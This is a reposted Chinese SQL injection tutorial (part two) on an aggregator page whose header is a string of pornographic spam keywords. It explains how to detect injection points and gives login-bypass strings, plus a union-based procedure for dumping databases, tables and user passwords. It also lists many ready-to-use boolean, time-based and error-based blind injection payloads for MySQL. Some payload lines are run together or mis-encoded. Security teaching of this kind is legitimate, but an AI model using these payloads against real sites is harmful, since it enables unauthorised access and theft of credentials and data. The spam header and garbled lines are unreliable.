日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

mysql sleep详解_sql注入详解(二)

發布時間:2023/12/4 数据库 26 豆豆
生活随笔 收集整理的這篇文章主要介紹了 mysql sleep详解_sql注入详解(二) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

sql注入詳解


4、檢測方法

首先是判斷能不能進行sql注入
是哪種sql注入

(1)數字型

?id=1 and 1=1 返回成功?id=1 and 1=2 返回失敗

這說明是數字型注入,或者叫整型注入
此時后臺是

select * from where id = x and 1=1select * from where id = x and 1=2

顯然一個判斷為真,一個判斷為假

(2)字符型

比如后臺是

$sql="SELECT * FROM users WHERE id='1' LIMIT 0,1";

那類比整型注入

?id=1' and '1'='1 返回成功?id=1'?and?'1'='2?返回失敗

還有更簡單點的

?id=1' 報錯?id=1' --+ 正常

當然這里除了'
還有可能是"、')、")等

(3)搜索型

? 搜索',如果出錯,說明90%存在這個漏洞

? 搜索%,如果正常返回,說明95%有洞了

? 搜索一個關鍵字,比如test,正常返回所有test相關的信息

? 再搜索test%'and 1=1 and '%'='和test%'and 1=2 and '%'='

(4)萬能密碼

用戶密碼登錄時
在用戶或密碼欄嘗試如下

1' or '1'='1' or 1=1 or '' or 1=1 --1' or '1'='1' or '1'='1

類似這樣的語句

(5)注意事項

? 如果應用程序已經過濾了'?和?+?等特殊字符,可以在輸入時把字符轉換成URL編碼(即字符ASCII碼的16進制)來繞過檢查

? 不同sql服務器語法不同,如mysql用+連接字符串,Oracle使用||

5、基本流程

以字符型注入為例
整型類比著來就是了

現在假設我們通過測試
知道是單引號字符型注入

先用order by猜列數

?id=1' order by 3 --+ 正常?id=1' order by 4 --+ 報錯

這就說明共3列

然后用union查詢看哪個列會返顯

?id=-1'union select 1,2,3--+

比如返回了數字2
說明第2列會返顯

那就可以繼續了
爆數據庫

?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+

爆數據表

?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

爆列

?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name=table_name--+

爆數據

?id=-1' union select 1,group_concat(username),group_concat(password) from users--+

這就是個最基本的sql注入流程

6、盲注

上面的基本流程是顯錯的
即報錯會返顯

但大部分時候是沒有這么好的事兒的
需要利用一些方法進行判斷或者嘗試
這就是盲注了

主要有

? 基于布爾sql盲注

? 基于時間的sql盲注

? 基于報錯的sql盲注

布爾盲注和延時盲注最好用sqlmap或腳本
手工注入工作量太大了

(1)布爾盲注

布爾型注入中,正確會回顯,錯誤沒有回顯
用以下的函數進行注入和猜測

? left(string, n)
? 得到字符串左部指定個數的字符
? string為要截取的字符串,n為長度

admin' and left((要注入的語句),1)='xxx’#admin' and left((select database() limit 0,1),1)='s'#

substr(string, start, length)
截取字符串,mid()函數用法一樣
string為要截取的字符串,start為開始位置,length為截取的長度

substr(DATABASE(),1,1)>'a' 查看數據庫名第一位substr((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE T table_schema=0xxxxxxx LIMIT 0,1),1,1)>'a'

ascii()
將某個字符轉換為ASCII碼的值,常配合截取函數使用

ascii(substr((語句),1,))=xxx //二進制admin' and ascii(substr((要注入的語句),0,1))=102#admin' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101#

ord()
同 ascii(),將字符轉為 ascii 值

ord(mid((語句),1,1))=xxx // 十六進制admin' and ord(mid((select username from security.users limit 0,1),1,1))=68#admin' and ord(mid((select password from security.users limit 0,1),1,1))=68#

regexp
正則注入函數

xxxx regexp '\^us[a-z]'admin' and ((要注入的語句) regexp '\^se' limit 0,1)#admin' and (select database() regexp '\^se' limit 0,1)#

(2)延時盲注

時間延遲注入,正確會延遲,錯誤沒有延遲
也是用以下函數進行注入和猜測

? sleep() 函數

?id=1' and sleep(5)--+?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1)#?id=1' union select (if(substring(database(),1,1)=char(115),sleep(5),1)),2,3#?id=1' and if(ascii(substr((要執行的語句),1,1))=115,sleep(5),1)#?id=1' union select (if(substring((要執行的語句),1,1)=char(115),sleep(5),1)),2,3#

benchmark(count,expr)函數
count為次數,expr為要執行的表達式
可以讓函數執行若干次,返回結果比平時要長,通過時間長短的變化,判斷語句是否執行成功

?id=1' and (select 1 from (select concat((ascii(substr((要執行的語句),1,1))=115),benchmark(50000000,encode('msg','key')))x from information_schema.tables group by x)a)#?id=1' and if(ascii(substr((要執行的語句),1,1))=115,benchmark(50000000,encode('msg','key')),1)#?id=1' union select (if(substring((要執行的語句),1,1)=char(115),benchmark(50000000,encode('msg','key')),1)),2,3#?id=1' and (select 1 from (select concat((ascii(substr((database()),1,1))=115),benchmark(50000000,encode('msg','key')))x from information_schema.tables group by x)a)#?id=1' and (select 1 from (select concat((select username from security.users limit 0,1),benchmark(50000000,encode('msg','key')))x from information_schema.tables group by x)a)#?id=1' and if(ascii(substr(benchmark(50000000,encode('msg','key')),1,1))=115,sleep(5),1)#?id=1' union select (if(substring((select database() limit 0,1),1,1)=char(115),benchmark(50000000,encode('msg','key')),1)),2,3#

當結果正確的時候,運行encode(‘msg’,’key’)操作50000000 次,會占用一段時間

benchmark()函數,可以測試某些特定操作的執行速度
該函數只是簡單地返回服務器執行表達式的時間,而不會涉及分析和優化的開銷。

? 還有一些奇技淫巧
? 類似benchmark,邊信道攻擊,占用大量的運算和時間

(3)報錯盲注

? 利用 floor(rand(x)*2) 的執行bug進行報錯注入
? 取得 0 or 1,進行數據的重復
? concat 計數
? group by 進行分組
? 需要將 rand(0),rand()需要多試幾次

?id=1' union select 1,count(*),concat((你希望的查詢語句),floor(rand(0)*2)) as a from information_schema.columns group by a#?id=1' and (select 1 from(select count(*),concat((你希望的查詢語句),floor(rand(0)*2)) as x from information_schema.tables group by x)a)#?id=-1' union select count(*),count(*), concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

利用 extractvalue() 函數報錯注入
mysql 對 xml 數據進行查詢和修改的 xpath 函數,xpath 語法錯誤
有長度限制,最長32位,mysql 5.0不可用,mysql 5.6可用

?id=1' and extractvalue(1,concat(0x7e,(你希望的查詢語句)))#?id=-1' and extractvalue(1,concat(0x7e,((select * from(select concat((你希望的查詢語句))x from information_schema.tables group by x)a))))#?id=1' and extractvalue(1,concat(0x7e,(database())))#?id=1' and extractvalue(1,concat(0x7e,((select * from(select concat((select username from security.users limit 0,1))x from information_schema.tables group by x)a))))#

利用 updatexml() 函數報錯注入
mysql 對 xml 數據進行查詢和修改的 xpath 函數,xpath 語法錯誤
有長度限制,最長32位

?id=1' and updatexml(1,concat(0x7e,(你希望的查詢語句),0x7e),1)#

利用 name_const 數據的重復性
低版本可用,mysql 5.0可用,mysql 5.6不可用
mysql 重復特性,報錯

?id=1' union select 1,2,3 from (select name_const((你希望的查詢語句),1),name_const((你希望的查詢語句),1))x #?id=1' and exists(select * from (select * from(select name_const((你希望的查詢語句),0))a join(select name_const((你希望的查詢語句),0))b)c)#

利用 double 數值類型超出范圍進行報錯注入
Exp()為以 e 為底的對數函數
版本在 5.5.5 及其以上

?id=1' union select (exp(~(select * from(select user())a))),2,3#

下面為句式:

!(select*from(select user())x)-~0(select(!x-~0)from(select(select user())x)a)(select!x-~0.from(select(select user())x)a)select ~0+!(select*from(select user())x)

句式組合:

(select * from(select concat((你希望的查詢語句))x from information_schema.tables group by x)a)

遇到無法使用?select * from *?查詢的時候,可以使用這個萬能句式,代替下面的“你希望的查詢語句”

?id=1' and (select 1 from(select count(*),concat((你希望的查詢語句),floor(rand(0)*2))x from information_schema.tables group by x)a)#?id=1' and extractvalue(1,concat(0x7e,(你希望的查詢語句)))#?id=1' and updatexml(1,concat(0x7e,(你希望的查詢語句),0x7e),1)#?id=1' and exists(select * from (select * from(select name_const((你希望的查詢語句),0))a join(select name_const((你希望的查詢語句),0))b)c)#?id=1' union select 1,2,3 from (select name_const((你希望的查詢語句),1),name_const((你希望的查詢語句),1))x #?id=1' union select (exp(~(select * from(select user())a))),2,3#

總結

以上是生活随笔為你收集整理的mysql sleep详解_sql注入详解(二)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。